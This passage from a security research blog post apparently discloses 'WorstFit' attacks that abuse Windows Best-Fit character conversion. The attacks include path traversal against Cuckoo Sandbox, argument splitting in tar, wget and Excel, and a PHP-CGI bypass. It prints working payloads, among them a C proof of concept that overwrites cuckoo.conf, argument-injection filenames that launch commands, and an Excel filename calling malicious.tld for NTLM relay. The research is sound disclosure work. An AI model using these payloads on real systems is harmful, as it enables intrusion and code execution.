class="o">!=</span> <span class="kc">NULL</span> <span class="o">&amp;&amp;</span> <span class="nb">strchr</span><span class="p">(</span><span class="n">qs</span><span class="p">,</span> <span class="s1">'='</span><span class="p">)</span> <span class="o">==</span> <span class="kc">NULL</span><span class="p">)</span> <span class="p">{</span> <span class="cm">/* ... omitted ... */</span> <span class="k">for</span> <span class="p">(</span><span class="n">p</span> <span class="o">=</span> <span class="n">decoded_qs</span><span class="p">;</span> <span class="o">*</span><span class="n">p</span> <span class="o">&amp;&amp;</span> <span class="o">*</span><span class="n">p</span> <span class="o">&lt;=</span> <span class="s1">' '</span><span class="p">;</span> <span class="n">p</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="cm">/* skip leading spaces */</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="n">p</span> <span class="o">==</span> <span class="s1">'-'</span><span class="p">)</span> <span class="p">{</span> <span class="n">skip_getopt</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="p">}</span> <span class="cm">/* ... omitted ... */</span> <span class="p">}</span> </code></pre></div></div> <p>The patch worked well, and no one broke it for the past 12 years. However, while reviewing the patch, we couldn’t help but feel that this blacklist approach seemed weak. After some quick fuzzing, we discovered a simple bypass: appending <code class="language-plaintext highlighter-rouge">?%ADs</code> to the query string effortlessly!</p> <p>As investigating more, we discovered that U+00AD (soft hyphen) is mapped to a dash (-) on Chinese (936, 950) and Japanese (932) code pages due to <strong>Best-Fit</strong> behavior, which explains how the bypass works.</p> <p>This is the first time we’ve encountered the term “Best-Fit”. We found it super interesting, which motivated us to take a deeper look.</p> <h3 id="-filename-smuggling">🔥 Filename Smuggling</h3> <p>The next attack we would like to introduce is the WorstFit in the filename processing. Here, we focus on characters that mapped to either <strong>”/” (0x2F)</strong> or <strong>”\” (0x5C)</strong>, such as the currency symbol <a href="https://en.wikipedia.org/wiki/Won_sign">Yen (¥)</a>, and <a href="https://en.wikipedia.org/wiki/Yen_and_yuan_sign">Won (₩)</a> used in Japanese and Korean Code Pages, as well as the <a href="https://en.wikipedia.org/wiki/Halfwidth_and_Fullwidth_Forms_(Unicode_block)">fullwidth</a> version of the (back-)slash in most Code Pages. You can check the affected characters and Code Pages on our <a href="https://worst.fit/mapping/">Best-fit Mapping Grepper</a> tool!</p> <ul> <li><a href="https://worst.fit/mapping/#to%3A0x2f">Characters mapped to “/” (0x2F)</a></li> <li><a href="https://worst.fit/mapping/#to%3A0x5c">Characters mapped to “\” (0x5C)</a></li> </ul> <blockquote> <p><strong>Relevant API</strong>: <a href="https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getcurrentdirectory"><code class="language-plaintext highlighter-rouge">GetCurrentDirectoryA</code></a>, <a href="https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/getcwd?view=msvc-170"><code class="language-plaintext highlighter-rouge">getcwd</code></a>, <a href="https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-findfirstfilea"><code class="language-plaintext highlighter-rouge">FindFirstFileA</code></a>, <a href="https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/findfirst-functions?view=msvc-170"><code class="language-plaintext highlighter-rouge">findfirst*</code></a>, <a href="https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getfullpathnamea"><code class="language-plaintext highlighter-rouge">GetFullPathNameA</code></a>, …<br /> <strong>Affected Code Pages</strong>: 874, 125x, 932 (JP), 949 (KR)<br /> <strong>Threat Characters</strong>: <code class="language-plaintext highlighter-rouge">/</code> <a href="https://www.compart.com/en/unicode/U+FF0F">U+FF0F</a>, <code class="language-plaintext highlighter-rouge">\</code> <a href="https://www.compart.com/en/unicode/U+FF3C">U+FF3C</a>, <code class="language-plaintext highlighter-rouge">¥</code> <a href="https://www.compart.com/en/unicode/U+00A5">U+00A5</a> (JP), <code class="language-plaintext highlighter-rouge">₩</code> <a href="https://www.compart.com/en/unicode/U+20A9">U+20A9</a> (KR)</p> </blockquote> <p>Let’s start with a simple case. In Chrome V8, the underlying implementation of its Developer Shell (<code class="language-plaintext highlighter-rouge">d8.exe</code>) uses the ANSI API <code class="language-plaintext highlighter-rouge">GetCurrentDirectoryA()</code> to obtain the current working directory. This means that if we can have a working directory with malicious Unicode characters, these characters will automatically be converted into path traversal payloads when accessed via the ANSI API. As a result, it leads to an unintended file access.</p> <p><img src="/assets/img/blog/20250109/4.png" alt="" /> <em>↑ Unintended file access on the <code class="language-plaintext highlighter-rouge">C:/windows/win.ini</code>:</em></p> <p>Another case is the implementation of mruby <a href="https://github.com/mruby/mruby/blob/3.3.0/mrbgems/mruby-dir/src/dir.c#L23"><code class="language-plaintext highlighter-rouge">Dir.getwd()</code></a> on Windows, the function relied on the ANSI version of CRT (C Runtime Library) <a href="https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/getcwd-wgetcwd?view=msvc-170"><code class="language-plaintext highlighter-rouge">_getcwd()</code></a> to retrieve the current directory. This also means that we can pollute that function’s return value, leading to Path Traversal, too!</p> <p><img src="/assets/img/blog/20250109/5.png" alt="" /> <em>↑ Pollute the return value of <code class="language-plaintext highlighter-rouge">Dir.getwd()</code>:</em></p> <p>Of course, the above cases are still bugs instead of real vulnerabilities. Let’s take a look at some real-world cases!</p> <h4 id="-case-study---path-traversal-to-rce-on-cuckoo-sandbox">➤ Case Study - Path Traversal to RCE on Cuckoo Sandbox</h4> <p>Before diving into the vulnerability, it’s important to discuss Python first because it plays a significant role in this case! Conceptually, Python allows strings to be represented in two different types: <code class="language-plaintext highlighter-rouge">str</code> and <code class="language-plaintext highlighter-rouge">unicode</code> in Python 2, or <code class="language-plaintext highlighter-rouge">str</code> and <code class="language-plaintext highlighter-rouge">bytes</code> in Python 3.</p> <p>To support both string representations, the implementation of filesystem access used a structure field to determine whether a target path was wide or narrow. If the string was narrow, the corresponding ANSI API was used to process the path, making it susceptible to the Best-Fit behavior. Although <a href="https://peps.python.org/pep-0529/">PEP 529</a> later standardized the filesystem encoding on Windows to UTF-8, earlier versions — such as Python 2 and Python 3 (prior to version 3.6) — remained vulnerable to WorstFit attacks.</p> <p>With the above context in mind, let’s have our first target — <a href="https://cuckoosandbox.org/index.html">Cuckoo Sandbox</a>, a well-known automated malware analysis platform. As one of the few open-source solutions for malware analysis in early days, it was the go-to choice for organizations building their own platforms, and for malware researchers seeking to extend its functionality. However, since Cuckoo has not been actively maintained for many years, the latest official version still relies on Python 2.7, which exposes it to our WorstFit Attack!</p> <p>Cuckoo consists of two main components: the <strong>Cuckoo Host</strong> and the <strong>VM Cluster</strong>. The uploaded samples are isolated within virtual machines to ensure they do not affect the Cuckoo. The components use a dedicated channel to synchronize the behaviors such as captured network packets, dropped files, and output logs with their own mechanism. However, since the Cuckoo Host is written in Python and relied on an outdated version, a dropped file with a Unicode filename can traverse the path on the Cuckoo Host!</p> <p>Here’s a simple Proof of Concept:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp"> </span> <span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span> <span class="n">LPCWSTR</span> <span class="n">filePath</span> <span class="o">=</span> <span class="s">L"AAAA\u00a5..\u00a5..\u00a5..\u00a5..\u00a5..\u00a5conf\u00a5cuckoo.conf"</span><span class="p">;</span> <span class="n">HANDLE</span> <span class="n">hFile</span> <span class="o">=</span> <span class="n">CreateFileW</span><span class="p">(</span> <span class="n">filePath</span><span class="p">,</span> <span class="n">GENERIC_WRITE</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">CREATE_ALWAYS</span><span class="p">,</span> <span class="n">FILE_ATTRIBUTE_NORMAL</span><span class="p">,</span> <span class="nb">NULL</span> <span class="p">);</span> <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hFile</span><span class="p">);</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>Once the analysis has finished, users can view the logs and dropped files generated by the malware through the web interface. An attacker can trigger a file operation on Python by clicking the download button. The Cuckoo Host then processes a translated path, containing <code class="language-plaintext highlighter-rouge">../</code> and sends sensitive data to the attacker.</p> <p><img src="/assets/img/blog/20250109/6.png" alt="" /></p> <p>The attacker can then download <code class="language-plaintext highlighter-rouge">cuckoo.conf</code>, and gathered several sensitive information to calculate the Flask PIN code, ultimately achieving RCE on the Sandbox Host!</p> <iframe width="100%" height="315" src="https://www.youtube.com/embed/EeMcDT95WSM?si=NJ8xmmWNEICeq-d7" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe> <p><br /></p> <h3 id="-argument-splitting">🔥 Argument Splitting</h3> <p>We can also exploit the WorstFit behavior in command line parsing by manipulating the output of <code class="language-plaintext highlighter-rouge">GetCommandLineA</code>. With this trick, even if you can control just a small part of an argument, that’s more than enough to inject as many arguments as you want!</p> <p>This time, we’re zeroing in on characters that map to either a double quote (<code class="language-plaintext highlighter-rouge">"</code>, 0x22) or a backslash (<code class="language-plaintext highlighter-rouge">\</code>, 0x5C). Once again, fullwidth characters come in handy here, and when it comes to backslashes, those currency symbols we talked about earlier make a comeback!</p> <ul> <li><a href="https://worst.fit/mapping/#to%3A0x22">Characters mapped to <code class="language-plaintext highlighter-rouge">"</code> (0x22)</a></li> <li><a href="https://worst.fit/mapping/#to%3A0x5c">Characters mapped to <code class="language-plaintext highlighter-rouge">\</code> (0x5C)</a></li> </ul> <blockquote> <p><strong>Relevant API</strong>: <a href="https://learn.microsoft.com/en-us/windows/win32/api/processenv/nf-processenv-getcommandlinea"><code class="language-plaintext highlighter-rouge">GetCommandlineA</code></a>, <a href="https://learn.microsoft.com/en-us/cpp/c-language/main-function-and-program-execution?view=msvc-170"><code class="language-plaintext highlighter-rouge">int main()</code></a><br /> <strong>Affected Code Pages</strong>: 874, 125x, 932 (JP), 949 (KR)<br /> <strong>Threat Characters</strong>: <code class="language-plaintext highlighter-rouge">"</code> <a href="https://www.compart.com/en/unicode/U+FF02">U+FF02</a>, <code class="language-plaintext highlighter-rouge">\</code> <a href="https://www.compart.com/en/unicode/U+FF3C">U+FF3C</a>, <code class="language-plaintext highlighter-rouge">¥</code> <a href="https://www.compart.com/en/unicode/U+00A5">U+00A5</a> (JP), <code class="language-plaintext highlighter-rouge">₩</code> <a href="https://www.compart.com/en/unicode/U+20A9">U+20A9</a> (KR)</p> </blockquote> <p>Let’s circle back to the piece of code we discussed earlier. How might this seemingly simple snippet fail, and more importantly, how could an attacker exploit it?</p> <div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="nv">$url</span> <span class="o">=</span> <span class="s2">"https://example.tld/"</span> <span class="mf">.</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'path'</span><span class="p">]</span> <span class="mf">.</span> <span class="s2">".txt"</span><span class="p">;</span> <span class="nb">system</span><span class="p">(</span><span class="s2">"wget.exe -q "</span> <span class="mf">.</span> <span class="nb">escapeshellarg</span><span class="p">(</span><span class="nv">$url</span><span class="p">));</span> </code></pre></div></div> <p>The answer is quite simple. If an attacker provides the input: <code class="language-plaintext highlighter-rouge">" --use-askpass=calc "</code> It could pop <strong>calc.exe</strong> on the system!</p> <p>At this point, you might be thinking, <em>“Oh, it’s PHP messing up again, isn’t it? I know PHP always…”</em> But nope – even switching to <strong>Node.js</strong>, <strong>Rust</strong>, or <strong>Python</strong> doesn’t save you. Here’s an example in Python, and the same input works like a charm – this time on the latest version of Python, not just older ones:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span><span class="p">,</span> <span class="n">request</span> <span class="kn">import</span> <span class="nn">subprocess</span> <span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="n">__name__</span><span class="p">)</span> <span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/fetch'</span><span class="p">)</span> <span class="k">def</span> <span class="nf">fetch</span><span class="p">():</span> <span class="n">path</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'path'</span><span class="p">)</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">run</span><span class="p">([</span><span class="s">"wget"</span><span class="p">,</span> <span class="s">"-q"</span><span class="p">,</span> <span class="sa">f</span><span class="s">"https://example.tld/</span><span class="si">{</span><span class="n">path</span><span class="si">}</span><span class="s">.txt"</span><span class="p">])</span> <span class="k">return</span> <span class="s">"Done"</span> </code></pre></div></div> <p>So, is this wget’s problem? Well, spoiler alert: yes, it’s part of the issue, but it doesn’t stop there. The same trick works on other executables like <strong>openssl.exe</strong>, <strong>tar.exe</strong>, <strong>java.exe</strong>, and more CLI tools. This makes us realize, this can actually be a broader systemic issue with how argument handling works on Windows, creating an attack surface across various tools. So, how does it happen?</p> <p>Let’s back to our payload <code class="language-plaintext highlighter-rouge">" --use-askpass=calc "</code>. I guess now some of you might still be wondering: <em>Wait, how does a simple double quote bypass the escaping? What exactly does it escape, then?</em> Well, first of all, these aren’t just regular double quotes (<code class="language-plaintext highlighter-rouge">U+0022</code>) — they’re actually <strong>fullwidth double quotes</strong> (<code class="language-plaintext highlighter-rouge">U+FF02</code>) 😉. Thanks to the Best-Fit feature, in code pages like 125x and 874, fullwidth double quotes are automatically converted into standard double quotes (<a href="https://worst.fit/mapping/#from%3A0xFF02%20to%3A0x22">🔍</a>).</p> <p>But still, why can these double quotes alter the arguments?</p> <p>Firstly, on Windows, the <strong>entire command line</strong> is passed as a single string to the spawned process, leaving it up to the executable to parse. That’s why the <a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw">CreateProcess API</a> accepts the <code class="language-plaintext highlighter-rouge">lpCommandLine</code> parameter directly. This differs from UNIX-like systems, where arguments are always passed as an array of strings. For a more detailed explanation of argument parsing on Windows, check out <a href="https://daviddeley.com/autohotkey/parameters/parameters.htm#WIN">this article</a> by David Deley.</p> <p><img src="/assets/img/blog/20250109/7.png" alt="" /></p> <p>Secondly, because the command line string is stored internally in wide character (Unicode) format, retrieving its ANSI string version involves Windows using the <a href="https://learn.microsoft.com/en-us/windows/win32/api/processenv/nf-processenv-getcommandlinea"><code class="language-plaintext highlighter-rouge">GetCommandLineA</code></a> API. Which of course the Best-Fit feature is applied during this process, potentially altering the command line in subtle but impactful ways.</p> <p>But actually, there isn’t a single “standard” way to parse the command line on Windows. However, the parsing convention typically adheres to the rules of <a href="https://learn.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-commandlinetoargvw"><code class="language-plaintext highlighter-rouge">CommandLineToArgvW</code></a> or <a href="https://learn.microsoft.com/en-us/cpp/cpp/main-function-command-line-args#parsing-c-command-line-arguments">CRT command-line parsing</a>. In practice, most developers use either <code class="language-plaintext highlighter-rouge">CommandLineToArgvW</code> or CRT standard <code class="language-plaintext highlighter-rouge">int main(...)</code> to handle command-line arguments, so I’d say we can pretty much treat this as the standard. The key characters involved in the parsing process include:</p> <ul> <li><strong>Tabs (0x09) and spaces (0x20)</strong>: Used to separate arguments (except when in quote mode).</li> <li><strong><code class="language-plaintext highlighter-rouge">"</code> (0x22)</strong>: Toggles the quote mode to treat spaces as part of the argument.</li> <li><strong><code class="language-plaintext highlighter-rouge">\</code> (0x5C)</strong>: Escapes double quotes and backslashes when used in a specific sequence.</li> </ul> <p>These conventions form the foundation of how arguments are interpreted and passed to executables.</p> <p>Therefore, standard libraries and functions in most programming languages adhere to these parsing rules to sanitize user-provided arguments. For instance, in <strong>PHP</strong>, the <a href="https://www.php.net/manual/en/function.escapeshellarg.php"><code class="language-plaintext highlighter-rouge">escapeshellarg</code></a> function replaces double quotes with spaces, wraps the argument in quotes, and escapes backslashes as needed to ensure safe execution in the shell. Similarly, in <strong>Python</strong>, the <code class="language-plaintext highlighter-rouge">subprocess</code> module internally uses the <a href="https://github.com/python/cpython/blob/v3.12.8/Lib/subprocess.py#L576"><code class="language-plaintext highlighter-rouge">list2cmdline</code></a> function to convert a Python list into a command line string, escaping arguments strictly according to the Microsoft CRT command-line parsing logic.</p> <p>However, all of this escaping happens before the Best-Fit feature comes into play. This means that even carefully escaped arguments can still be altered during the ANSI conversion process.</p> <p>Here’s a simple example. Using the example Python code we provided, let’s examine what happens when <code class="language-plaintext highlighter-rouge">wget.exe</code> is spawned with <code class="language-plaintext highlighter-rouge">subprocess</code> module. The entire argument parsing process would look something like this:</p> <p><img src="/assets/img/blog/20250109/8.png" alt="" /></p> <p>As we saw, fullwidth quotation marks (<code class="language-plaintext highlighter-rouge">U+FF02</code>) are transformed into regular double quotes (<code class="language-plaintext highlighter-rouge">U+0022</code>) during the Best-Fit conversion process. This subtle alteration changes the original command-line syntax, enabling argument-splitting behavior.</p> <p>Furthermore, even programs that don’t directly use <code class="language-plaintext highlighter-rouge">GetCommandLineA</code> can still be vulnerable to this attack if they rely on the non-Unicode version of the main function. Yes, we’re talking about the <strong>innocent-looking <code class="language-plaintext highlighter-rouge">int main()</code></strong>!</p> <p>Here we can do a small experiment. Given this piece of code</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp"> </span> <span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[],</span> <span class="kt">char</span><span class="o">*</span> <span class="n">envp</span><span class="p">[])</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">argc</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="n">printf</span><span class="p">(</span><span class="s">"argv[%d] = %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span> <span class="p">}</span> </code></pre></div></div> <p>Now, when we run the command <code class="language-plaintext highlighter-rouge">.\test.exe "foo" "bar"</code>, it does produce two arguments, as shown below.</p> <p><img src="/assets/img/blog/20250109/9.png" alt="" /></p> <p>And yes, Python’s <code class="language-plaintext highlighter-rouge">subprocess</code> module can’t prevent this. Even if the entire string is passed as a single list element, it still ends up being parsed into two separate arguments.</p> <p><img src="/assets/img/blog/20250109/10.png" alt="" /></p> <p>The reason a normal <code class="language-plaintext highlighter-rouge">main</code> function becomes vulnerable lies in how the <strong>C runtime (CRT)</strong> handles command-line arguments. Even if you don’t explicitly call <code class="language-plaintext highlighter-rouge">GetCommandLineA</code>, once you use the <code class="language-plaintext highlighter-rouge">int main()</code> function, the compiler secretly generates a <code class="language-plaintext highlighter-rouge">mainCRTStartup</code> function inside your binary for you. This startup function is linked to the C runtime library (e.g., <code class="language-plaintext highlighter-rouge">ucrtbase.dll</code>), which internally retrieves the command line using an ANSI API and parses it for you. And that’s where the vulnerability creeps in.</p> <p><img src="/assets/img/blog/20250109/11.png" alt="" /></p> <p>This is why so many executables are exposed to WorstFit vulnerabilities. Worse still, as the attack exploits behavior at the system level during the conversion process, <strong>no standard library in any programming language can fully stop our attack!</strong></p> <p>However, only on 125x and 874 code pages does the fullwidth quotation mark (<code class="language-plaintext highlighter-rouge">U+FF02</code>) get converted into a normal double quote. So, what about CJK (Chinese, Japanese and Korean) languages? Are they safe now? Not entirely. Double quote is NOT the only character we can use for this attack!</p> <p>As mentioned in the <strong>Filename Smuggling</strong> section, the Yen sign (<code class="language-plaintext highlighter-rouge">U+00A5</code>) on the Japanese (932) code page and the Won sign (<code class="language-plaintext highlighter-rouge">U+20A9</code>) on the Korean (949) code page are both converted into a <strong>backslash (<code class="language-plaintext highlighter-rouge">\</code>)</strong>. And what can a backslash do? Quite a lot! As we’ve discussed, the backslash is crucial for escaping characters and altering the syntax of a command line. This means it can be exploited to manipulate command execution.</p> <p>Let’s take this Python code as an example:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">subprocess</span><span class="p">.</span><span class="n">run</span><span class="p">([</span><span class="s">'vuln.exe'</span><span class="p">,</span> <span class="s">'foo¥" bar'</span><span class="p">])</span> </code></pre></div></div> <p>Here, Python handles escaping for us – in this case, escaping the double quote. After escaping, the command line should look like this:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vuln.exe "foo¥\" bar" </code></pre></div></div> <p>Python prepends a backslash before the double quote to escape it. Everything seems fine, so Python passes this command line to the <code class="language-plaintext highlighter-rouge">CreateProcessW</code> API, and <code class="language-plaintext highlighter-rouge">vuln.exe</code> spawns successfully. Great!</p> <p>However, here’s where it gets tricky. The <code class="language-plaintext highlighter-rouge">vuln.exe</code> program uses an <strong>ANSI API</strong> to retrieve the command line. Thanks to the Best-Fit feature (again 😜), the Yen sign (<code class="language-plaintext highlighter-rouge">¥</code>) is converted into a backslash (<code class="language-plaintext highlighter-rouge">\</code>). Now, the command line seen by <code class="language-plaintext highlighter-rouge">vuln.exe</code> becomes:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vuln.exe "foo\\" bar" </code></pre></div></div> <p>The backslash added by Python is now escaped by the “ex-Yen-sign”. As a result, that double quote is no longer properly escaped, allowing it to act as a delimiter. The arguments for <code class="language-plaintext highlighter-rouge">vuln.exe</code> are now split into two parts: <code class="language-plaintext highlighter-rouge">foo\</code> and <code class="language-plaintext highlighter-rouge">bar</code>.</p> <p><em><strong>Note</strong>: Of course, characters that can be converted into spaces or tabs can also be exploited for argument splitting. I’ll leave this part as an exercise for you 😉.</em></p> <p>Now, we already explored most of the possible ways to exploit WorstFit for argument splitting. Let’s dive into some real-world exploits and see this attack in action!</p> <h4 id="-case-study-1---elfinder-rce-w-windows-built-in-gnu-tar">➤ Case Study 1 - ElFinder: RCE w/ Windows built-in GNU Tar</h4> <p>Here, one of our case studies highlights an RCE (Remote Code Execution) attack on <a href="https://github.com/Studio-42/elFinder"><strong>ElFinder</strong></a>, caused by the WorstFit vulnerability in Windows’ <code class="language-plaintext highlighter-rouge">tar.exe</code> command.</p> <p>ElFinder is a popular open-source, web-based file manager with a PHP backend. By default, it supports Windows servers and comes with a built-in feature for creating and extracting archives, which is also enabled by default.</p> <p>The way it handles archive formats is straightforward—it directly executes shell commands. Sounds risky? Perhaps. But the developers have taken precautions by escaping all arguments properly using <code class="language-plaintext highlighter-rouge">escapeshellarg</code> (<a href="https://github.com/Studio-42/elFinder/blob/7544918a2ba656a4fe72a6fc8bb502d39f601cda/php/elFinderVolumeDriver.class.php#L6898-L6911"><code class="language-plaintext highlighter-rouge">php/elFinderVolumeDriver.class.php#L6898-L6911</code></a>).</p> <p><img src="/assets/img/blog/20250109/12.png" alt="" /></p> <p>Despite this effort, escaping at the application level might not fully mitigate risks if quirks like the Best-Fit feature in Windows are involved.</p> <p>One of the archive formats supported by ElFinder is the <strong>tar</strong> format. It uses the system’s built-in <code class="language-plaintext highlighter-rouge">tar.exe</code> command to create or extract archives. For example, if we create an archive named <code class="language-plaintext highlighter-rouge">foobar.tar</code> containing the files <code class="language-plaintext highlighter-rouge">foo.txt</code> and <code class="language-plaintext highlighter-rouge">bar.txt</code>, ElFinder would just execute the following command: <code class="language-plaintext highlighter-rouge">tar.exe -chf "foobar.tar" ".\foo.txt" ".\bar.txt"</code></p> <p>However, we discovered that the Windows built-in <code class="language-plaintext highlighter-rouge">tar.exe</code> command is vulnerable to the <strong>WorstFit</strong> attack! This means that if you can control even a small part of an argument, it’s possible to execute arbitrary commands. For details, check out our <a href="https://worst.fit/worstfit/Arg-Splitting/tar/">curated list</a>.</p> <p>To exploit this, we can simply name the tar file as <code class="language-plaintext highlighter-rouge">aaa" "--use-compress-program=calc" "bbb.tar</code> (<code class="language-plaintext highlighter-rouge">"</code> is <code class="language-plaintext highlighter-rouge">U+FF02</code>). This injects the <code class="language-plaintext highlighter-rouge">--use-compress-program</code> parameter, which allows arbitrary command execution. In our demonstration, this results in popping up <code class="language-plaintext highlighter-rouge">calc.exe</code>.</p> <iframe width="100%" height="315" src="https://www.youtube.com/embed/DPIp42-Ls0U?si=dczou7dD-p4CSOQ9" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe> <blockquote> <p>In this demonstration, we use an English-configured Windows server (Code Page 1252) as an example. This technique should also work on other 125x code pages and Code Page 874 configurations.</p> </blockquote> <h4 id="-case-study-2---all-the-ways-to-code-execution">➤ Case Study 2+ - All the Ways to Code Execution</h4> <p>Of course, there are more applications are indirectly exposed to WorstFit vulnerabilities because they invoke other executables that are themselves vulnerable to this. Here we demonstrate two examples:</p> <p>The first one involves a modified version of plink.exe used in <strong>TortoiseGit</strong>. When a user enters a malicious URI for cloning, it can trigger code execution. For details, check out our <a href="https://worst.fit/worstfit/Arg-Splitting/plink/">curated list</a>.</p> <iframe width="100%" height="315" src="https://www.youtube.com/embed/EF1U-C0e_9E?si=oEKebidfQ1hRIead" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe> <p>The second example involves <strong>RStudio</strong>, which supports version control with SVN. If an SVN project is placed in a maliciously crafted folder, a single click can trigger a calculator to pop up on the user’s machine! For more details, check out our <a href="https://worst.fit/worstfit/Arg-Splitting/SVN/">curated list</a>.</p> <iframe width="100%" height="315" src="https://www.youtube.com/embed/YKw4ZcQ75Hc?si=Gd6pZ7r4wLToX15m" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe> <h4 id="-case-study-3---microsoft-excel-remote-code-execution-cve-2024-49026">➤ Case Study 3 - Microsoft Excel Remote Code Execution <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49026">CVE-2024-49026</a></h4> <p>While re-mounting Argument Injection to applications, we discovered that the Argument Splitting attack can be combined with the “Open-With” feature to escalate its impact!</p> <p>Windows actually maintains a handler table to know which program to use to open a file when you double-click a file. You can use <code class="language-plaintext highlighter-rouge">ftype</code> and <code class="language-plaintext highlighter-rouge">assoc</code> to see which programs handle specific file extensions. The filename would also become part of the argument, which means we can apply our attack through that!</p> <p><img src="/assets/img/blog/20250109/13.png" alt="" /></p> <p>We then discovered that the executable of Microsoft Excel is vulnerable to the Argument Splitting attack. We can just rename the Excel file to the following name - translating all dots, (back-)slashes, and double quote to their fullwidth forms.</p> <blockquote> <p><code class="language-plaintext highlighter-rouge">../../../Windows/win.ini" /n "\\malicious.tld@80\pwn.xlsx</code></p> </blockquote> <p>By combining two tricks, we can trigger an Argument Injection on <code class="language-plaintext highlighter-rouge">Excel.exe</code> with just 1-Click. Since Excel itself <a href="https://support.microsoft.com/en-us/office/command-line-switches-for-microsoft-office-products-079164cd-4ef5-4178-b235-441737deb3a6#Category=Excel">doesn’t have any good argument</a> for further exploitation, we only use NTLM Relay along with RBCD/ADCS to achieve RCE!</p> <iframe width="100%" height="315" src="https://www.youtube.com/embed/zklkmbDyR1U?si=dLfxuwaO5U2En20n" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe> <p><em>P.S. if you find a better argument that can directly lead to RCE, please let us know!</em> 🙂</p> <h3 id="-environment-variable-confusion">🔥 Environment Variable Confusion</h3> <p>When functions like <code class="language-plaintext highlighter-rouge">GetEnvironmentVariableA</code>, <code class="language-plaintext highlighter-rouge">GetEnvironmentStringsA</code>, or <code class="language-plaintext highlighter-rouge">char *getenv(const char *varname)</code> are used, they return the <strong>Best-Fit</strong> version of the environment variable. This subtle behavior can be exploited to bypass character restrictions, creating potential opportunities for attackers to slip through otherwise secure validations and introduce security vulnerabilities.</p> <p><strong>Relevant API</strong>: <a href="https://learn.microsoft.com/en-us/windows/win32/api/processenv/nf-processenv-getenvironmentvariablea"><code class="language-plaintext highlighter-rouge">GetEnvironmentVariableA</code></a>, <a href="https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/getenv-wgetenv"><code class="language-plaintext highlighter-rouge">char *getenv(const char *varname)</code></a><br /> <strong>Affected Code Pages</strong>: No specific<br /> <strong>Threat Characters</strong>: No specific (for Apache HTTPd: 0x00-0xFF)</p> <p>For this exploit scenario, the environment variables must be user-controllable, which often occurs when a parent process needs to pass information to a spawned process.</p> <p>A common example is in <strong>CGI (Common Gateway Interface)</strong>, where much of the HTTP request information—such as query strings, HTTP headers, and more—is passed through environment variables. This creates an opportunity for attackers to manipulate these variables and exploit the behavior. Here, we present two case studies as a starting point to spark your further ideas.</p> <h4 id="-case-study-1---waf-bypass">➤ Case study 1 - WAF bypass</h4> <p>In some scenarios, a CGI script may act as a routing service. When this happens, the portion of the URL path after the CGI executable is stored in the environment variable <code class="language-plaintext highlighter-rouge">PATH_INFO</code>. A common use case might involve a developer trying to restrict remote access to sensitive endpoints, such as <code 